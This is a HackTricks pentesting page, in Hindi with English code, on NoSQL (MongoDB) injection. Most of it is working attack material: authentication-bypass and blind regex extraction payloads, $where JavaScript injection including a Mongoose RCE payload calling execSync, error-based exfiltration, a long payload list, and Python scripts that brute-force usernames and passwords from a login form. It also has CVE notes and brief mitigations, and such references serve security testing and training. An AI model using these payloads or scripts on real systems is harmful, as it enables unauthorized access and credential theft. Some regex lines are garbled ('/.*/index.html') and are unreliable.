NoSQL injection
Reading time: 10 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Exploit
PHP में आप एक Array भेज सकते हैं, भेजे गए पैरामीटर को parameter=foo से parameter[arrName]=foo में बदलकर।
शोषण Operator जोड़ने पर आधारित हैं:
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
Basic authentication bypass
Using not equal ($ne) or greater ($gt)
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
SQL - Mongo
query = { $where: `this.username == '${username}'` }
एक हमलावर इसे इस तरह से उपयोग कर सकता है कि वह स्ट्रिंग्स जैसे admin' || 'a'=='a
इनपुट करे, जिससे क्वेरी सभी दस्तावेज़ों को वापस कर देगी क्योंकि यह एक तात्त्विकता के साथ शर्त को संतुष्ट करती है ('a'=='a'
)। यह SQL इंजेक्शन हमलों के समान है जहाँ इनपुट जैसे ' or 1=1-- -
का उपयोग SQL क्वेरियों को हेरफेर करने के लिए किया जाता है। MongoDB में, इसी तरह के इंजेक्शन इनपुट जैसे ' || 1==1//
, ' || 1==1%00
, या admin' || 'a'=='a
का उपयोग करके किए जा सकते हैं।
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
लंबाई जानकारी निकालें
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
डेटा जानकारी निकालें
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
SQL - Mongo
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
PHP मनमाना फ़ंक्शन निष्पादन
$func ऑपरेटर का उपयोग करते हुए MongoLite पुस्तकालय (डिफ़ॉल्ट रूप से उपयोग किया जाता है) के माध्यम से मनमाना फ़ंक्शन निष्पादित करना संभव हो सकता है, जैसा कि इस रिपोर्ट में है।
"user":{"$func": "var_dump"}
विभिन्न संग्रह से जानकारी प्राप्त करें
$lookup का उपयोग करके एक अलग संग्रह से जानकारी प्राप्त करना संभव है। निम्नलिखित उदाहरण में, हम users
नामक अलग संग्रह से पढ़ रहे हैं और एक वाइल्डकार्ड से मेल खाने वाले पासवर्ड के साथ सभी प्रविष्टियों के परिणाम प्राप्त कर रहे हैं।
नोट: $lookup
और अन्य समेकन कार्य केवल तभी उपलब्ध हैं जब aggregate()
फ़ंक्शन का उपयोग खोज करने के लिए किया गया हो, न कि अधिक सामान्य find()
या findOne()
फ़ंक्शंस का।
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]
Error-Based Injection
throw new Error(JSON.stringify(this))
को $where
क्लॉज में इंजेक्ट करें ताकि सर्वर-साइड जावास्क्रिप्ट त्रुटियों के माध्यम से पूर्ण दस्तावेज़ों को एक्सफिल्ट्रेट किया जा सके (इसके लिए एप्लिकेशन को डेटाबेस त्रुटियों को लीक करना आवश्यक है)। उदाहरण:
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
Recent CVEs & Real-World Exploits (2023-2025)
Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359
संस्करण ≤ 6.0.0 ने Meteor विधि listEmojiCustom
को उजागर किया जो एक उपयोगकर्ता-नियंत्रित selector ऑब्जेक्ट को सीधे find()
पर अग्रेषित करता था। ऑपरेटर जैसे {"$where":"sleep(2000)||true"}
को इंजेक्ट करके एक अनधिकृत हमलावर एक टाइमिंग ऑरेकल बना सकता था और दस्तावेज़ों को एक्सफिल्ट्रेट कर सकता था। इस बग को 6.0.1 में चयनकर्ता के आकार को मान्य करके और खतरनाक ऑपरेटरों को हटाकर पैच किया गया।
Mongoose populate().match
$where
RCE – CVE-2024-53900 & CVE-2025-23061
जब populate()
का उपयोग match
विकल्प के साथ किया जाता है, Mongoose (≤ 8.8.2) ने ऑब्जेक्ट को भेजने से पहले शाब्दिक रूप से कॉपी किया। इसलिए $where
प्रदान करने पर JavaScript Node.js के अंदर निष्पादित होता है, भले ही सर्वर-साइड JS MongoDB पर अक्षम हो।
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find()
.populate({ path: 'author', match: req.query.author }); // RCE
पहला पैच (8.8.3) ने शीर्ष स्तर के $where
को ब्लॉक कर दिया, लेकिन इसे $or
के तहत नेस्ट करने से फ़िल्टर को बायपास किया गया, जिससे CVE-2025-23061 हुआ। इस समस्या को 8.9.5 में पूरी तरह से ठीक किया गया, और एक नया कनेक्शन विकल्प sanitizeFilter: true
पेश किया गया।
GraphQL → Mongo फ़िल्टर भ्रम
Resolvers जो args.filter
को सीधे collection.find()
में फॉरवर्ड करते हैं, वे कमजोर बने रहते हैं:
query users($f:UserFilter){
users(filter:$f){ _id email }
}
# variables
{ "f": { "$ne": {} } }
Mitigations: $
से शुरू होने वाले कुंजी को पुनरावृत्त रूप से स्ट्रिप करें, अनुमत ऑपरेटरों को स्पष्ट रूप से मैप करें, या स्कीमा लाइब्रेरी (Joi, Zod) के साथ मान्य करें।
Defensive Cheat-Sheet (updated 2025)
- किसी भी कुंजी को स्ट्रिप या अस्वीकार करें जो
$
से शुरू होती है (express-mongo-sanitize
,mongo-sanitize
, MongoosesanitizeFilter:true
)। - स्वयं-होस्टेड MongoDB पर सर्वर-साइड JavaScript को निष्क्रिय करें (
--noscripting
, v7.0+ में डिफ़ॉल्ट)। $where
के बजाय$expr
और एग्रीगेशन बिल्डर्स को प्राथमिकता दें।- डेटा प्रकारों को जल्दी मान्य करें (Joi/Ajv) और उन स्थानों पर एरे की अनुमति न दें जहां स्केलर्स की अपेक्षा की जाती है ताकि
[$ne]
ट्रिक्स से बचा जा सके। - GraphQL के लिए, फ़िल्टर तर्कों का अनुवाद एक अनुमति-सूची के माध्यम से करें; कभी भी अविश्वसनीय वस्तुओं को फैलाएं नहीं।
MongoDB Payloads
List from here
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
ब्लाइंड NoSQL स्क्रिप्ट
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
Brute-force login usernames and passwords from POST login
यह एक सरल स्क्रिप्ट है जिसे आप संशोधित कर सकते हैं लेकिन पिछले उपकरण भी इस कार्य को कर सकते हैं।
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
Tools
- https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
- https://github.com/C4l1b4n/NoSQL-Attack-Suite
- https://github.com/ImKKingshuk/StealthNoSQL
- https://github.com/Charlie-belmer/nosqli
References
- https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
- https://nullsweep.com/a-nosql-injection-primer-with-mongo/
- https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb
- https://sensepost.com/blog/2025/nosql-error-based-injection/
- https://nvd.nist.gov/vuln/detail/CVE-2023-28359
- https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।